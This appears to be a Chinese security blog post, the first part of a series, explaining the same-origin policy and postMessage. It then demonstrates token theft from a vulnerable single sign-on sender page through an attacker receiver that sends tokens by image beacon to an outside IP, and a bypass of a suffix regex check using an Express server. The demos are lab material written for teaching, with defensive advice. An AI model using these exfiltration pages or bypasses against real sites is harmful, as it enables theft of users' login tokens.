浅谈 postMessage 安全问题(一)
什么是同源策略
同源策略(Same-Origin Policy)是浏览器的一种安全机制,用于限制一个源(域名、协议或端口号的组合)的文档或脚本如何与来自另一个源的资源进行交互。具体来说,同源策略阻止不同源之间的网页通过脚本访问对方的资源或执行恶意操作,这有助于保护用户数据安全和隐私。
根据同源策略的规定,浏览器只允许来自同一源的文档之间共享资源(如脚本、样式表和图片),而不允许跨源的文档直接进行读取和操作。这种策略有效地防止了跨站点脚本攻击(XSS)和跨站点请求伪造(CSRF)等安全威胁。
需要注意的是,同源策略仅在浏览器环境中实施,不影响服务器之间的通信。为了在浏览器中进行跨域资源访问,开发者可以通过一些方法如 CORS(跨域资源共享)、JSONP(JSON with Padding)或使用服务器代理来规避这些限制,但需要确保操作的安全性。
总之,同源策略是浏览器为了保护用户信息和防止安全风险而设立的一道安全屏障,对网页开发和安全性有着重要影响。
什么是postMessage
简介
postMessage
是一个 HTML5 提供的 API,用于在不同的浏览上下文(例如不同窗口、框架或者甚至不同的文档)之间安全地传递数据。它允许一个窗口向另一个窗口发送消息,无论这两个窗口是否来自同一个源(同源策略的限制会被绕过,但发送消息的窗口需要明确指定接收消息的窗口)。
具体来说,使用 postMessage
API,开发者可以指定目标窗口的引用(如通过 window.open
或 iframe.contentWindow
获取),然后向该窗口发送消息,消息可以是简单的字符串或者复杂的对象。接收窗口可以通过监听 message
事件来接收并处理这些消息。
主要应用场景包括跨域通信(通过不同域名的窗口进行通信)、多窗口之间的信息传递(如跨窗口的单点登录)以及在 Web 应用程序中实现复杂的交互和协作。
总结
简单来说,浏览器的机制–同源策略限制了一个源的文档或脚本与另一个源的资源的交互,但是有些应用场景(如下所示)又必须在不同源之间通信,传递资源,共享信息。于是,为了在浏览器中进行跨域资源访问,开发者通过一些方法如 CORS(跨域资源共享)、JSONP(JSON with Padding)或使用服务器代理来规避这些限制,而 postMessage 同样也是规避这些限制的途径之一,用来安全地实现跨越资源通信
语法
1
| otherWindow.postMessage(message, targetOrigin, [transfer]);
|
参数 |
说明 |
otherWindow |
其他窗口的一个引用,比如 iframe 的 contentWindow 属性、执行 window.open 返回的窗口对象、或者是命名过或数值索引的 window.frames。 |
message |
将要发送到其他 window的数据。 |
targetOrigin |
指定哪些窗口能接收到消息事件,其值可以是 *****(表示无限制)或者一个 URI。 |
transfer |
可选,是一串和 message 同时传递的 Transferable 对象。这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。 |
需要跨域通信的应用场景
- 第三方登录:许多网站允许用户通过第三方平台(如Google、Facebook)进行登录。这就涉及到不同域的网站之间需要进行跨域通信,以验证用户身份信息。
- 跨域数据传输:当一个网站需要获取另一个域上的数据时,比如异步加载第三方网站的内容或者获取外部API的数据,就需要进行跨域通信。
- 嵌入外部内容:将来自不同源的内容嵌入到当前页面中,比如使用
<iframe>
嵌入其他网站的页面或者广告,也需要跨域通信。
- 跨窗口通信:在一个页面中打开新窗口,并且需要这两个窗口之间进行数据传递或者互相操作时,就需要跨域通信。
postMessage 功能演示
为了更真实地体现出postMessage跨域的功能,最好还是让发送端与接收端不在同一个域下:
发送端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Send Message Page</title> </head> <body> <h1>Send Message Page</h1> <button onclick="sendMessage()">Send Message</button>
<script> function sendMessage() { var targetWindow = window.open('http://receive.com/receive.html', '_blank');
setTimeout(function() { targetWindow.postMessage('token{this_is_a_secret_token}', '*'); }, 1000); } </script> </body> </html>
|
接收端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Receive Message Page</title> </head> <body> <h1>Receive Message Page</h1> <p id="message"></p>
<script> window.addEventListener('message', function(event) { var trustedOrigin = "http://send.com:81"; if (event.origin !== trustedOrigin) { console.log("Message from an untrusted source: " + event.origin); return; }
var data = event.data; var origin = event.origin;
var messageText = (typeof data === 'object') ? JSON.stringify(data, null, 2) : data;
document.getElementById('message').textContent = 'Received message: ' + messageText + ' from ' + origin; }, false); </script> </body> </html>
|
Demo 演示
到此就演示完了postMessage的基本使用与基本过程
漏洞产生分析
接下来分析一下,使用postMessage不当时,产生的几个漏洞的原理与利用
现在假设一种postMessage使用场景,比如:
SSO (Single Sign-On 单点登录)时,拿大学的网站来说,一般是会有一个统一身份认证界面,然后会有很多的内网系统,比如教务处,图书馆,实验平台,办事中心,财务平台等等,这些内网系统要先登录校园网或者VPN,然才能访问网址,但是还不能进入对应的系统,一般还需要通过统一身份认证后(服务器会颁发一个令牌或会话凭证,并在用户浏览器中设置相关身份认证信息),才可以访问其他系统。用户访问其他内网系统时,浏览器自动携带认证信息,系统验证凭证有效性后,允许用户访问系统资源。达到了只需认证一次,就可访问多个系统的效果。
其中颁发令牌的部分可以通过postMessage()来实现:
如下图所示,只要用户通过了统一身份认证,就使用postMessage的方式发送token给其他内网系统,一次性完成授权
接下来开始分析流程中可能产生第一种漏洞:
敏感信息劫持
漏洞流程图
发送端(受害者)Demo
为了方便,以及为了只体现postMessage的相关核心流程,于是把token直接硬编码在了html源码中,真实环境肯定不是这样的,需要通过统一身份认证,服务端才会颁发token,这段Demo省略了这部分后端逻辑,但是完全不影响理解这个安全问题的原理哈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sender Page</title> </head> <body> <h1>Sender Page</h1> <h1>You have successfully logged in!</h1> <h2>Beginning to send users' token ......</h2> <script> function getQueryParam(param) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(param); }
window.onload = function() { const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}'; const targetOrigin = getQueryParam('host'); console.log('Target origin:', targetOrigin);
if (targetOrigin) { try { const targetWindow = window.open(targetOrigin, '_blank'); if (targetWindow) { setTimeout(() => { targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin); console.log('AccessToken sent to:', targetOrigin); }, 2000); } else { console.error('Failed to open target window.'); } } catch (error) { console.error('Failed to send message:', error); } } else { console.error('No target origin specified.'); } }; </script> </body> </html>
|
- 模拟通过统一身份认证后开始使用postMessage()发送用户的token给接收端
接收端(攻击者)Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Hacker's Receiver Page</title> </head> <body> <h1>Hacker's Receiver Page</h1> <h2 id="accessTokenDisplay"></h2>
<script> window.addEventListener('message', function(event) { if (event.origin === 'http://login.test-1.edu.cn:82') { if (event.data && event.data.accessToken) { document.getElementById('accessTokenDisplay').innerText = "User's AccessToken Get!: " + event.data.accessToken; } else { console.error('No accessToken found in the message.'); } } else { console.error('Received message from untrusted origin:', event.origin); } }); </script> </body> </html>
|
漏洞产生的原因分析
- 来到发送端(受害者)Demo的源码,可以看到他直接GET方式接收一个host参数(url值)赋值给targetOrigin,然后就直接毫无验证的就postMessage给这个url,并新建页面打开这个传入的url
1 2 3 4 5 6 7 8 9 10 11
| window.onload = function() { const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}'; const targetOrigin = getQueryParam('host'); console.log('Target origin:', targetOrigin);
if (targetOrigin) { try { const targetWindow = window.open(targetOrigin, '_blank'); if (targetWindow) { setTimeout(() => { targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin);
|
- 于是这个host就是攻击者完全可控的,那么攻击者直接自己构造一个对应的接收端地址,在发送端传参攻击者自己构造的接收端,当受害者点击攻击者构造的链接,那不就直接可以把受害者的token发送到攻击者的接收端了吗。正常来说,开发者是希望这个host是一个可信任的目标地址的,于是最好不要通过GET/POST传参的方式直接接收host值,于是安全的做法应该是把这个host在后端直接写死,或者充分过滤host,验证其合法性。
进阶-token外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Hacker's Receiver Page (token 外带)</title> </head> <body> <h1>Hacker's Receiver Page (token 外带)</h1> <div id="accessTokenDisplay"></div>
<script> window.addEventListener('message', function(event) { if (event.origin === 'http://login.test-1.edu.cn:82') { if (event.data && event.data.accessToken) { document.getElementById('accessTokenDisplay').innerText = "User's AccessToken Get! : " + event.data.accessToken; var img=new Image(); img.src='http://111.11.111.11/?userinfo='+event.data.accessToken; document.getElementById('accessTokenDisplay').appendChild(img); } else { console.error('No accessToken found in the message.'); } } else { console.error('Received message from untrusted origin:', event.origin); } }); </script> </body> </html>
|
成功将用户token数据外带到我的vps日志!
当然,外带的方法有很多,原理都差不多,只是借助的特性不同,具体可自行选择
进阶-绕过
有些时候,开发者会对接收端的地址做一个校验,确保接收端是合法的地址,防止敏感数据被窃取,比如这种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sender Page</title> </head> <body> <h1>Sender Page</h1> <script> function getQueryParam(param) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(param); }
window.onload = function() { const accessToken = '{token: Sgt/d6r5F_TC6fgF5/Dc_tyf7t5dD/67Dc_tydcd5d5CTY==}'; const targetOrigin = getQueryParam('host'); console.log('Target origin:', targetOrigin);
const regex = /\.tencent\.com$/; console.log(new URL(targetOrigin).hostname) if (targetOrigin && regex.test(targetOrigin)) { try { const targetWindow = window.open(targetOrigin, '_blank'); if (targetWindow) { setTimeout(() => { targetWindow.postMessage({ accessToken: accessToken }, new URL(targetOrigin).origin); console.log('AccessToken sent to:', targetOrigin); }, 2000); } else { console.error('Failed to open target window.'); } } catch (error) { console.error('Failed to send message:', error); } } else { console.error('Invalid target origin. Must end with tencent.com.'); } }; </script> </body> </html>
|
- **但是只能说:然并卵。他的验证逻辑仅仅是使用正则匹配host是不是以tencent.com结尾的,于是我们使用Node.js 和 Express 框架创建一个简单的 HTTP 服务器,把 /www.tencent.com 路由到node项目根目录下的hacker.html文件。当用户访问
http://111.11.111.11/www.tencent.com
时,实际上服务器会解析到node项目根目录下的 hacker.html
**
- 下载node.js
1 2
| sudo apt update sudo apt install nodejs npm -y
|
1 2
| mkdir my-node-app cd my-node-app
|
1 2
| npm init -y npm install express
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| const express = require('express'); const path = require('path'); const app = express(); const port = 8080;
app.get('/www.tencent.com', (req, res) => { res.sendFile(path.join(__dirname, 'hacker.html')); });
app.listen(port, () => { console.log(`Server is running at http://111.11.111.11:${port}/www.tencent.com`); });
|
未完待续……